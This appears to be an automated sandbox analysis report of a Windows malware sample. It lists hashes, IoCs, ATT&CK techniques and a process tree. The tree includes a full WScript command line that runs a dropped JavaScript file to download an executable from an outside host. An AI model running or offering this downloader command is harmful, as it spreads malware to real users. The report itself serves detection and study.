786a7938686d870d9fc61e16768c9102dc91f2b1947c29755ffb31229b7c119f

General

Target

d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe
Size

184KB
MD5

d7029a3b9c1ee2242fe56e9071104971
SHA1

2decf1c66ed716805cad69d37c83833d6719ae73
SHA256

786a7938686d870d9fc61e16768c9102dc91f2b1947c29755ffb31229b7c119f
SHA512

85346caab2314449a0e12bb7cc21f16e75e073a89c2f6f42bfbbbe14a2d45d2d7b2e765cc3ce8746c0de8c58306691f4bf0ad5d0f2b527067d0cb3c1d6905ed2
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3G:/7BSH8zUB+nGESaaRvoB7FJNndn/

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
8	4688	WScript.exe
25	1248	WScript.exe
31	3828	WScript.exe
33	3828	WScript.exe
49	4580	WScript.exe
54	2084	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4296 wrote to memory of 4688	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	85
PID 4296 wrote to memory of 4688	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	85
PID 4296 wrote to memory of 4688	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	85
PID 4296 wrote to memory of 1248	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	88
PID 4296 wrote to memory of 1248	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	88
PID 4296 wrote to memory of 1248	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	88
PID 4296 wrote to memory of 3828	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	97
PID 4296 wrote to memory of 3828	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	97
PID 4296 wrote to memory of 3828	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	97
PID 4296 wrote to memory of 4580	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	98
PID 4296 wrote to memory of 4580	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	98
PID 4296 wrote to memory of 4580	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	98
PID 4296 wrote to memory of 2084	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	100
PID 4296 wrote to memory of 2084	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	100
PID 4296 wrote to memory of 2084	4296	d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe	100

C:\Users\Admin\AppData\Local\Temp\d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\d7029a3b9c1ee2242fe56e9071104971_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf735B.js" http://www.djapp.info/?domain=fXpLQOcEjH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf735B.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4688
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf735B.js" http://www.djapp.info/?domain=fXpLQOcEjH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf735B.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1248
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf735B.js" http://www.djapp.info/?domain=fXpLQOcEjH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf735B.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3828
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf735B.js" http://www.djapp.info/?domain=fXpLQOcEjH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf735B.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4580
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf735B.js" http://www.djapp.info/?domain=fXpLQOcEjH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf735B.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fuf735B.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit

Analysis

Sharing